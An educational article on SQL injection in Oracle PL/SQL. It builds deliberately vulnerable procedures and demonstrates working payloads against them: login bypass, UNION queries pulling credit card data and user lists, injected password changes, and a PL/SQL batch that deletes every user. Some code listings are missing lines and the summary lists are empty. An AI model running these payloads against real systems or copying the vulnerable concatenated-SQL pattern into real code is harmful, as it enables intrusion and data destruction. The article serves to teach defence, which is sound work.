SQL Injection techniques

Security should be foremost on every database developer's mind, and given a little thought and know-how, it's not difficult to develop fairly secure code. The only trouble is that it's VERY easy to develop code which can be exploited in some way, maybe with disastrous results.

This article isn't about database security in general, that's far too big a subject to cover in a few pages of XHTML, but about a specific issue which is probably the most common database and application exploit.

What is SQL Injection?

So, what exactly is SQL Injection? Well, at it's most basic, it's the ability to modify the expected behaviour of a process. How can this be done? It's really ALL about dynamic SQL. Any code which utilises dynamic SQL, i.e. treating a string as a query, could potentially fall foul of SQL Injection hacks unless proper consideration is given to validation of inputs. I'll go over the more common (and the more advanced) SQL injection techniques here. Any application injection hack will almost certainly involve one or more of these types of techniques. Note that I use PL/SQL to show these kinds of techniques, but pretty much the same principles apply to insecure programming in PHP, Perl, .NET, or any language that has to interact with a SQL database.

Query Modification I - Handling quotes

This is the simplest, and probably most common, SQL injection technique. Let's say you have the following PL/SQL process which is used to validate usernames and passwords :
SQL> INSERT INTO users VALUES ( 'chadders', 'chadders' );

1 row created.

SQL> CREATE OR REPLACE PROCEDURE validate_password(p_username IN VARCHAR2,
  2                                                p_password IN VARCHAR2)
  3  AS
  4    c1     SYS_REFCURSOR;
  5    l_ok   NUMBER;
  6  BEGIN
  7    OPEN c1 FOR 'SELECT 1 FROM users WHERE user_name = ''' || p_username || '''' ||
  8                                     ' AND password = ''' || p_password || '''';
  9    FETCH c1 INTO l_ok;
 10    IF c1%NOTFOUND
 11    THEN
 12       RAISE_APPLICATION_ERROR(-20001, 'Invalid Password');
 13    END IF;
 14    CLOSE c1;
 15  END;
 16  /

Procedure created.
So, the idea is to dynamically build up a SQL statement and fail if the cursor returns no rows, for example :
SQL> EXEC validate_password('chadders', 'chadders');

PL/SQL procedure successfully completed.
Passing an invalid password, gets an error
SQL> EXEC validate_password('chadders', 'chadders2');
BEGIN validate_password('chadders', 'chadders2'); END;

ERROR at line 1:
ORA-20001: Invalid Password
ORA-06512: at line 1
Looks great, doesn't it? Well, this kind of routine is a perfect example of insecurity, for example, what happens when the password to be validated contains the following : x'' OR ''1''=''1 (the important thing to realise are the quotes) :
SQL> EXEC validate_password('chadders', 'x'' OR ''1''=''1');

PL/SQL procedure successfully completed.
Successful? Why? Well, look at the resultant SQL :
SELECT 1 FROM users WHERE user_name = 'chadders' AND password = 'x' OR '1'='1';
So, I've successfully modified the SQL to always return a row, without knowing the password, and, indeed, the username itself is now unimportant :
SQL> EXEC validate_password('1', 'x'' OR ''1''=''1');

PL/SQL procedure successfully completed.

Query Modification II - Truncation

An alternative mechanism for bypassing certain parts of SQL statements is to simply comment them out! This is shown using the "users" functionality above.

All I need to do is issue a username with the relevant "comment characters" and I'm in. For example :
SQL> EXEC validate_password('chadders''--', '');

PL/SQL procedure successfully completed.
Why does this work? Look at the resultant SQL :
SELECT 1 FROM users WHERE user_name = 'chadders'-- AND password = '';

Query Modification III - Obtaining Information

Okay, let's take a slightly different tack. A common hack is not to just login, but to obtain information as well from the database. Again, only a rudimentary SQL knowledge is needed to get information from an insecure process, even if the process has nothing to do with what we're trying to achieve!

Let's assume I've got an uninteresting (to the hacker) table and a process which returns information from it (usually via an application front-end, such as a web page). Note, I'm using DBMS_OUTPUT here to emulate the output process.
SQL> CREATE TABLE unimportant_table ( code  VARCHAR2(10), value  VARCHAR2(50) );

Table created.

SQL> INSERT INTO unimportant_table VALUES ( 'X', 'Y' );

1 row created.

SQL> CREATE OR REPLACE PROCEDURE show_unimportant_data(p_code IN VARCHAR2)
  2  AS
  3    c1   SYS_REFCURSOR;
  4    l_code  VARCHAR2(50);
  5    l_value VARCHAR2(50);
  6  BEGIN
  7    OPEN c1 FOR 'SELECT code, value FROM unimportant_table WHERE code = ''' || p_code || '''';
  8    LOOP
  9      FETCH c1 INTO l_code, l_value;
 11      dbms_output.put_line('Code : ' || l_code || ' : Value : ' || l_value);
 12    END LOOP;
 13    CLOSE c1;
 14  END show_unimportant_data;
 15  /

Procedure created.

SQL> EXEC show_unimportant_data('X');
Code : X : Value : Y

PL/SQL procedure successfully completed.

Getting data from another table

Let's assume we have another table as well, of much more interest to the hacker, such as credit card details :
SQL> CREATE TABLE credit_cards ( card_num    VARCHAR2(50),  pin_num  NUMBER(4) );

Table created.

SQL> INSERT INTO credit_cards VALUES ( '000-000-000', '1234' );

1 row created.
The hacker has access to the "unimportant" function, but needs to see the credit card details... OK, easy enough with some common sense and a rudimentary SQL knowledge, specifically, the UNION syntax :
  2    show_unimportant_data('X'' UNION SELECT card_num, TO_CHAR(pin_num) FROM credit_cards ' ||
  3                                      'WHERE ''1''=''1');
  4  END;
  5  /
Code : 000-000-000 : Value : 1234
Code : X : Value : Y

PL/SQL procedure successfully completed.

Obtaining database / connection information

Often, a crucial part of hacking any system, is obtaining information about the database and / or the current user connection details. Given access to the "unimportant" function above, I can derive all sorts of information, such as :
  2    show_unimportant_data(''' UNION SELECT ''x'', ''x'' FROM dual WHERE ''1''=''1');
  3  END;
  4  /
Code : x : Value : x

PL/SQL procedure successfully completed.
This pretty much proves I'm connecting to an Oracle database, since no other database is likely to have a dual table. Other databases may be inferred by using database-specific functions, etc. I had to select the value twice, of course, since that is what the SQL is expecting, the hacker may have had to experiment somewhat to get the correct number of terms.
  2    show_unimportant_data(''' UNION SELECT user, sys.database_name FROM dual WHERE ''X''=''X');
  3  END;
  4  /
Code : CHADDERS : Value : ORCL

PL/SQL procedure successfully completed.
Okay, I can see that I am connecting as the CHADDERS user in the ORCL database. What about other users out there?
  2    show_unimportant_data(''' UNION SELECT username, TO_CHAR(user_id) FROM all_users WHERE ''x''=''x');
  3  END;
  4  /
Code : ANONYMOUS : Value : 39
Code : BI : Value : 60
Code : CTXSYS : Value : 36
Code : DBSNMP : Value : 24
Code : DIP : Value : 19
Code : DMSYS : Value : 35
Code : EXFSYS : Value : 34
Code : HR : Value : 55
Code : IX : Value : 57
Code : CHADDERS : Value : 61
Code : MDDATA : Value : 50
Code : MDSYS : Value : 46
Code : OE : Value : 56
Code : OLAPSYS : Value : 47
Code : ORDPLUGINS : Value : 44
Code : ORDSYS : Value : 43
Code : OUTLN : Value : 11
Code : PM : Value : 59
Code : SCOTT : Value : 54
Code : SH : Value : 58
Code : SI_INFORMTN_SCHEMA : Value : 45
Code : SYS : Value : 0
Code : SYSMAN : Value : 51
Code : SYSTEM : Value : 5
Code : TSMSYS : Value : 21
Code : WMSYS : Value : 25
Code : XDB : Value : 38

PL/SQL procedure successfully completed.
So, this is just a flavour of things. Given this inocuous looking function, I can derive potentially damaging information about the system itself, such as user information, such as passwords, ( although they almost certainly would be the hashed one's from dba_users, but there are plenty of brute-force attacks on hashes out there for the determined hacker to utilise ), what table(s) are in the system, what database links are in place etc. etc. The possibilities for a damaging attack are practically limitless, unless addressed properly.

Injecting Function Calls

As if the above example isn't disastrous enough, there are plenty of other considerations when dealing with SQL Injection techniques, such as the ability to "inject" function calls. Don't forget that it's still valid SQL, if you put a function call in the above WHERE clause that actually DOES something, such as modifying data. This is a bit more involved, since you can't ordinarily do DML or DDL in a query in Oracle (unlike some other databases....), UNLESS the function is an autonomous transaction. Let's look at an example.

Let's say there's a function, and, crucially, the hacker knows about it, which is used to change a user's password :
SQL> CREATE OR REPLACE FUNCTION change_password(p_username IN VARCHAR2,
  2                                             p_new_password IN VARCHAR2)
  4  as
  6  BEGIN
  7    UPDATE users
  8       SET password = p_new_password
  9     WHERE user_name = p_username;
 10    COMMIT;
 11    RETURN 'Y';
 12  END change_password;
 13  /

Function created.
Now, the hacker does the validation of the password, but instead of the username or password in one of the parameters, they put the function call in :
  2    validate_password('chadders', 'x''
  3                                  AND ''x''=change_password(''chadders'', ''x'')
  4                                  AND ''x''=''x');
  5  END;
  6  /
ERROR at line 1:
ORA-20001: Invalid Password
ORA-06512: at line 2
Ok, first attempt, they get an invalid password error, BUT look at the users table :

USER_NAME                                          PASSWORD
-------------------------------------------------- -----------------------------------------------
chadders                                           x
The password is permanently modified, so subsequent attempts can just do :
SQL> EXEC validate_password('chadders', 'x');

PL/SQL procedure successfully completed.
While this is a contrived example, imagine what would happen if the function call was a DROP TABLE, or DELETE FROM statement. Again, bind variables saves you from this problem.

What about other kinds of statement? For example, if my dynamic SQL being executed was itself DML or DDL? Let's try it, firstly, with a DML procedure :
  2                                       p_password IN VARCHAR2)
  3  AS
  4  BEGIN
  5    EXECUTE IMMEDIATE 'UPDATE users SET password = ''' || p_password || ''' ' ||
  6                      ' WHERE user_name = ''' || p_username || '''';
  7  END test_dml;
  8  /

Procedure created.

SQL> EXEC test_dml('chadders', 'y');

PL/SQL procedure successfully completed.
Now, of course, the usual SQL Injection problems apply, i.e. modifying the SET and WHERE clause, but can we do anything else with this? What about issuing another DML after the original statement?
SQL> EXEC test_dml('chadders', 'y''; DELETE FROM users');
BEGIN test_dml('chadders', 'y''; DELETE FROM users'); END;

ERROR at line 1:
ORA-00911: invalid character
ORA-06512: at "MARTIN.TEST_DML", line 5
ORA-06512: at line 1
Okay, so that seems to be OK, EXECUTE IMMEDIATE won't execute if there's a semi-colon (;) in the statement, effectively ruling out any subsequent execution. What about DDL?
  2  AS
  3  BEGIN
  5  END test_ddl;
  6  /

Procedure created.

SQL> EXEC TEST_DDL('users');

PL/SQL procedure successfully completed.

SQL> EXEC TEST_DDL('users; create table users ( a varchar2(10) )');
BEGIN TEST_DDL('users; create table users ( a varchar2(10) )'); END;

ERROR at line 1:
ORA-00911: invalid character
ORA-06512: at "MARTIN.TEST_DDL", line 4
ORA-06512: at line 1
These tests, therefore, seem to show that in Oracle, you CANNOT "batch" up statements in a single dynamic SQL "call", therefore, SQL Injection is limited to modifying the intended purpose of a single statement only. This is certainly true when just dynamic SQL, but what about dynamic PL/SQL? Well, that's a different kettle of fish, and is far more dangerous, as we shall now see.....

Injecting PL/SQL

We've already covered the modification of dynamic SQL, but of course it's perfectly possible to utilise dynamic PL/SQL in your application. For example, this function is designed to create a row in the "users" table, but instead of simple dynamic SQL, it builds up a dynamic anonymous PL/SQL block :
SQL> CREATE OR REPLACE PROCEDURE insert_user ( p_user IN VARCHAR2, p_password IN VARCHAR2 )
  2  AS
  3  BEGIN
  4    EXECUTE IMMEDIATE 'BEGIN INSERT INTO users VALUES ( ''' || p_user || '''
  5                                                        , ''' || p_password || ''' ); END;';
  6  END insert_user;
  7  /

Procedure created.

SQL> EXEC insert_user('chadders', 'chadders');

PL/SQL procedure successfully completed.
Okay, now what can we do? Well, the world's our oyster with this one, since we now CAN batch up statements, for example :
  2    insert_user('chadders', 'chadders''); delete from users; END;--');
  3  end;
  4  /

PL/SQL procedure successfully completed.


no rows selected
Here, i'm using batching and truncation to remove all rows from users! The resultant PL/SQL block is :
  INSERT INTO users VALUES ('chadders', 'chadders'); delete from users; END; --); END;
So, PL/SQL has allowed me to add the "delete from users" into the block, and truncation has allowed me to remove the need to handle the additional parenthesis and "END;" at the end of the statement. Note, I could have also come up with a statement which handled it in a different way, but this serves to highlight the point.....

Summary : What you can and can't do with SQL Injection in Oracle

Okay, so the major issues have been outlined above, therefore, I'll quickly summarise in bullet format an overview of what can and can't be done in Oracle using SQL Injection techniques, if you don't follow the various programming security principles (which will be covered later).

What CAN be done?

What CANNOT be done?


There are many guidelines which can reduce the risk of a serious application security breach : Most importantly, DO NOT be complacent! Never assume your code is 100% secure. Be critical, and say "can it be hacked?".

Further Information

It is important to ensure that you understand as much of the issues surrounding SQL (and PL/SQL) injection as possible.